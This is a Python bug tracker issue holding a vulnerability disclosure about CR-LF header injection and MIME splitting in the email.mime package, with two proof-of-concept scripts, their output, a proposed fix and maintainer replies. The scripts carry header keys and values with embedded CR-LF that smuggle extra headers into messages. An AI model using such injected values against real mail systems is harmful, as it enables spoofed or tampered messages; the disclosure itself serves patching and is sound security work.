classification
Title: email MIME splitting
Type: security Stage: patch review
Components: email Versions: Python 3.10, Python 3.9, Python 3.8, Python 3.7, Python 3.6
process
Status: open Resolution:
Dependencies: Superseder:
Assigned To: Nosy List: barry, martin.ortner, r.david.murray, trrhodes
Priority: normal Keywords: patch

Created on 2021-02-04 12:48 by martin.ortner, last changed 2021-04-12 16:50 by trrhodes.

Pull Requests
URL Status Linked Edit
PR 24475 closed trrhodes, 2021-02-07 13:19
Messages (3)
msg386479 - (view) Author: Martin Ortner (martin.ortner) Date: 2021-02-04 12:48
// reported via PSRT email (see timeline)
// external reference: https://consensys.net/diligence/vulnerabilities/private/jcchhpke7usq8wo45vloy282phwpd9fj41imumhb8varxahz2bf9afw5mcno84gx/

cve: 
vendor: python
vendorUrl: https://www.python.org/ 
authors: tintinweb
affectedVersions: [at least <= 3.8.3, <=3.7.7, <=2.7.18]
vulnClass: CWE-93


# Vulnerability Note

## Summary 


>Python is a programming language that lets you work more quickly and integrate your systems more effectively.

The python `email.mime` package fails to properly encode or reject `CR-LF` control sequences in MIME header values allowing for MIME splitting and header injection attacks.

* `MIMEText[headerKey] = headerValue` - `headerValue` accepts `CR-LF` in the value, allowing an attacker in control of part of the header value to perform a MIME splitting attack.
* `MIMEText[headerKey] = headerValue` - `headerKey` is not checked for `CR-LF` allowing an attacker in control of part of a header key to inject arbitrary MIME headers.
* `MIMEText.add_header(headerKey, headerValue)` -  `headerKey` is not checked for `CR-LF` allowing an attacker in control of part of a header key to inject arbitrary MIME headers.

## Details

### MIME-Splitting with `CR-LF` in header value:

* Note: `CR-LF` injection in `To` header pushes an invalid header and may force a MIME split (depending on the parsing library) pushing following header values into the body when being parsed with the `email.message_from_string()` method.

```python
# Import the email modules we'll need
from email.mime.text import MIMEText

# Open a plain text file for reading.  For this example, assume that
# the text file contains only ASCII characters.

msg = MIMEText("REAL_MSG_BODY_BEGIN\n...\nREAL_MSG_BODY_END")

msg['Subject'] = 'The contents of is this...'
msg['To'] = "TO toAddress@oststrom.com\r\nX-SPLIT-MSG-TO-BODY\r\n"
msg['From'] = "FROM fromAddress@oststrom.com"
msg['MyHEader'] = "hi :: hi"

print(msg)
print(repr(msg))
print("=========================")
import email
msg = email.message_from_string(str(msg))  
print(msg)

print("-> FROM: %s" % msg.get("From")) 
print("-> TO:   %s" % msg["To"]) 
print("-> MSG:  " + repr(msg.get_payload()))


```

Output:

* Output before the `===========` is the constructed message
* Output after the `===========` is the parsed message
* Note: that after parsing the message some headers end up in the body (`from`, `myheader`). Note that `msg[from]` is empty.

```
⇒  python3 a.py   
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: The contents of is this...
To: TO toAddress@oststrom.com
X-SPLIT-MSG-TO-BODY
From: FROM fromAddress@oststrom.com
MyHEader: hi :: hi

REAL_MSG_BODY_BEGIN
...
REAL_MSG_BODY_END
<email.mime.text.MIMEText object at 0x108842850>
=========================
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: The contents of is this...
To: TO toAddress@oststrom.com

X-SPLIT-MSG-TO-BODY
From: FROM fromAddress@oststrom.com
MyHEader: hi :: hi

REAL_MSG_BODY_BEGIN
...
REAL_MSG_BODY_END
-> FROM: None
-> TO:   TO toAddress@oststrom.com
-> MSG:  'X-SPLIT-MSG-TO-BODY\nFrom: FROM fromAddress@oststrom.com\nMyHEader: hi :: hi\n\nREAL_MSG_BODY_BEGIN\n...\nREAL_MSG_BODY_END'
```


###  `CR-LF` injection in header keys.

Note: this is unlikely to be exploited, however, there might be scenarios where part of the header key is exposed to user input. A `CR-LF` character in the header key should throw instead.

```python
# Import the email modules we'll need
from email.mime.text import MIMEText

# Open a plain text file for reading.  For this example, assume that
# the text file contains only ASCII characters.

msg = MIMEText("REAL_MSG_BODY_BEGIN\n...\nREAL_MSG_BODY_END")

# me == the sender's email address
# you == the recipient's email address
msg['Subject'] = 'The contents of is this...'
msg['To'] = "TO toAddress@oststrom.com"
msg['From'] = "FROM fromAddress@oststrom.com"
msg['MyHEader'] = "hi :: hi"
msg["m\r\nh"] = "yo"

print(msg)
print(repr(msg))
print("=========================")
import email
msg = email.message_from_string(str(msg))  
msg.add_header("CUSTOM-HEADER: yo\r\n\nX-INJECTED: injected-header\r\naa","data")
print(msg)

print("-> FROM: %s" % msg.get("From")) 
print("-> TO:   %s" % msg["To"]) 
print("-> MSG:  " + repr(msg.get_payload()))


```

Output: `h: yo` and `X-INJECTED:` are injected

```
⇒  python3 a.py
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: The contents of is this...
To: TO toAddress@oststrom.com
From: FROM fromAddress@oststrom.com
MyHEader: hi :: hi
m
h: yo

REAL_MSG_BODY_BEGIN
...
REAL_MSG_BODY_END
<email.mime.text.MIMEText object at 0x10076d850>
=========================
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: The contents of is this...
To: TO toAddress@oststrom.com
From: FROM fromAddress@oststrom.com
MyHEader: hi :: hi
CUSTOM-HEADER: yo

X-INJECTED: injected-header
aa: data

m
h: yo

REAL_MSG_BODY_BEGIN
...
REAL_MSG_BODY_END
-> FROM: FROM fromAddress@oststrom.com
-> TO:   TO toAddress@oststrom.com
-> MSG:  'm\r\nh: yo\n\nREAL_MSG_BODY_BEGIN\n...\nREAL_MSG_BODY_END'
```


## Proposed Fix

- reject `\n` in header keys
- encode `\n` in header values to `\n\s+...` to signal a continuation of the header value. reject `\n+`

## Vendor Response

Vendor response: 

```
I discussed the vulnerability in private with one of the email module
maintainers and he considers that it's not a vulnerability.

Would you mind opening a public issue at https://bugs.python.org/ so
the discussion can be recorded in public?

Victor
```

### Timeline

```
JUL/02/2020 - contact psrt; provided details, PoC, proposed patch
AUG/20/2020 - vendor response: forwarded to maintainer of module
SEP/15/2020 - vendor response: not a security issue
```

## References

* [1] https://www.python.org/
* [2] https://www.python.org/downloads/
msg386589 - (view) Author: Ross Rhodes (trrhodes) * Date: 2021-02-07 13:23
Hi Martin,

Looking into this further, it appears we already catch CR-LF characters in header values, but your test case shows that we do not run the same checks on header names.

I've opened a PR to rectify this - feel free to leave feedback.

Ross
msg390867 - (view) Author: Ross Rhodes (trrhodes) * Date: 2021-04-12 16:50
PR now “stale” since I have not received any feedback, yet.
History
Date User Action Args
2021-04-12 16:50:21trrhodessetmessages: + msg390867
2021-02-07 13:23:23trrhodessetmessages: + msg386589
2021-02-07 13:19:33trrhodessetkeywords: + patch
nosy: + trrhodes

pull_requests: + pull_request23267
stage: patch review
2021-02-04 12:48:46martin.ortnercreate